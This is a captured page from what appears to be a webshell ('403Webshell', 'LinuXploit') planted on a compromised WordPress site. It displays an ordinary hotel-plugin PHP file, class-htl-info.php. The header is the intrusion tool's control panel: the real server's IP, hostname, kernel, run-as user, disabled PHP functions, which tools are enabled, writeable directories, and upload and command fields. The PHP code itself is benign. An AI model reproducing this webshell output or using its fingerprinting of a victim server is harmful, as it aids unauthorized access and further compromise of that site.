403Webshell
Server IP : 89.108.64.180  /  Your IP : 216.73.217.92
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux 89-108-64-180.cloudvps.regruhosting.ru 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-root ( 1010)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/apartadler.ru/wp-content/plugins/wp-hotelier/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/apartadler.ru/wp-content/plugins/wp-hotelier/includes/class-htl-info.php
<?php
/**
 * Hotel Info.
 *
 * @author   Benito Lopez <hello@lopezb.com>
 * @category Class
 * @package  Hotelier/Classes
 * @version  1.8.3
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

if ( ! class_exists( 'HTL_Info' ) ) :

/**
 * HTL_Info Class
 */
class HTL_Info {

	/**
	 * Gets hotel name.
	 *
	 * @return string
	 */
	public static function get_hotel_name() {
		$hotel_name = htl_get_option( 'hotel_name', '' );

		return apply_filters( 'hotelier_get_hotel_name', $hotel_name );
	}

	/**
	 * Gets hotel address.
	 *
	 * @return string
	 */
	public static function get_hotel_address() {
		$hotel_address = htl_get_option( 'hotel_address', '' );

		return apply_filters( 'hotelier_get_hotel_address', $hotel_address );
	}

	/**
	 * Gets hotel postcode.
	 *
	 * @return string
	 */
	public static function get_hotel_postcode() {
		$hotel_postcode = htl_get_option( 'hotel_postcode', '' );

		return apply_filters( 'hotelier_get_hotel_postcode', $hotel_postcode );
	}

	/**
	 * Gets hotel locality.
	 *
	 * @return string
	 */
	public static function get_hotel_locality() {
		$hotel_locality = htl_get_option( 'hotel_locality', '' );

		return apply_filters( 'hotelier_get_hotel_locality', $hotel_locality );
	}

	/**
	 * Gets hotel telephone number.
	 *
	 * @return string
	 */
	public static function get_hotel_telephone() {
		$hotel_telephone = HTL_Formatting_Helper::validate_phone( htl_get_option( 'hotel_telephone', '' ) );

		if ( ! HTL_Formatting_Helper::is_phone( $hotel_telephone ) ) {
			$hotel_telephone = '';
		}

		return apply_filters( 'hotelier_get_hotel_telephone', $hotel_telephone );
	}

	/**
	 * Gets hotel fax number.
	 *
	 * @return string
	 */
	public static function get_hotel_fax() {
		$hotel_fax = htl_get_option( 'hotel_fax', '' );

		return apply_filters( 'hotelier_get_hotel_fax', $hotel_fax );
	}

	/**
	 * Gets hotel email address.
	 *
	 * @return string
	 */
	public static function get_hotel_email() {
		$hotel_email = htl_get_option( 'hotel_email', '' );

		if ( ! is_email( $hotel_email ) ) {
			$hotel_email = '';
		}

		return apply_filters( 'hotelier_get_hotel_email', $hotel_email );
	}

	/**
	 * Gets hotel checkin hours.
	 *
	 * @return string
	 */
	public static function get_hotel_checkin() {
		$checkin        = htl_get_option( 'hotel_checkin', array() );
		$from           = isset( $checkin[ 'from' ] ) ? $checkin[ 'from' ] : 0;
		$to             = isset( $checkin[ 'to' ] ) ? $checkin[ 'to' ] : 0;
		$formatted_from = $from > 24 ? $from - 25 : $from;
		$formatted_from = sprintf( '%02d', $formatted_from );
		$formatted_from .= $from > 24 ? ':30' : ':00';
		$formatted_to   = $to > 24 ? $to - 25 : $to;
		$formatted_to   = sprintf( '%02d', $formatted_to );
		$formatted_to   .= $to > 24 ? ':30' : ':00';

		$hotel_checkin  = date_i18n( get_option( 'time_format' ), strtotime( $formatted_from ) ) . ' - ' . date_i18n( get_option( 'time_format' ), strtotime( $formatted_to ) );

		return apply_filters( 'hotelier_get_hotel_checkin', $hotel_checkin, $from, $to );
	}

	/**
	 * Gets hotel checkout hours.
	 *
	 * @return string
	 */
	public static function get_hotel_checkout() {
		$checkout       = htl_get_option( 'hotel_checkout', array() );
		$from           = isset( $checkout[ 'from' ] ) ? $checkout[ 'from' ] : 0;
		$to             = isset( $checkout[ 'to' ] ) ? $checkout[ 'to' ] : 0;
		$formatted_from = $from > 24 ? $from - 25 : $from;
		$formatted_from = sprintf( '%02d', $formatted_from );
		$formatted_from .= $from > 24 ? ':30' : ':00';
		$formatted_to   = $to > 24 ? $to - 25 : $to;
		$formatted_to   = sprintf( '%02d', $formatted_to );
		$formatted_to   .= $to > 24 ? ':30' : ':00';
		$hotel_checkout = date_i18n( get_option( 'time_format' ), strtotime( $formatted_from ) ) . ' - ' . date_i18n( get_option( 'time_format' ), strtotime( $formatted_to ) );

		return apply_filters( 'hotelier_get_hotel_checkout', $hotel_checkout, $from, $to );
	}

	/**
	 * Gets hotel pets message.
	 *
	 * @return bool
	 */
	public static function get_hotel_pets_message() {
		$allowed_pets = htl_get_option( 'hotel_pets', false );
		$message      =  $allowed_pets ? htl_get_option( 'hotel_pets_message' ) : esc_html__( 'Pets are not allowed.', 'wp-hotelier' );

		return apply_filters( 'hotelier_get_hotel_pets_message', $message );
	}

	/**
	 * Gets hotel accepted credit cards.
	 *
	 * @return bool
	 */
	public static function get_hotel_accepted_credit_cards() {
		$cards = htl_get_option( 'hotel_accepted_cards', array() );
		$cards = array_keys( $cards );

		return apply_filters( 'hotelier_get_hotel_accepted_credit_cards', $cards );
	}
}

endif;

Youez - 2016 - github.com/yon3zu
LinuXploit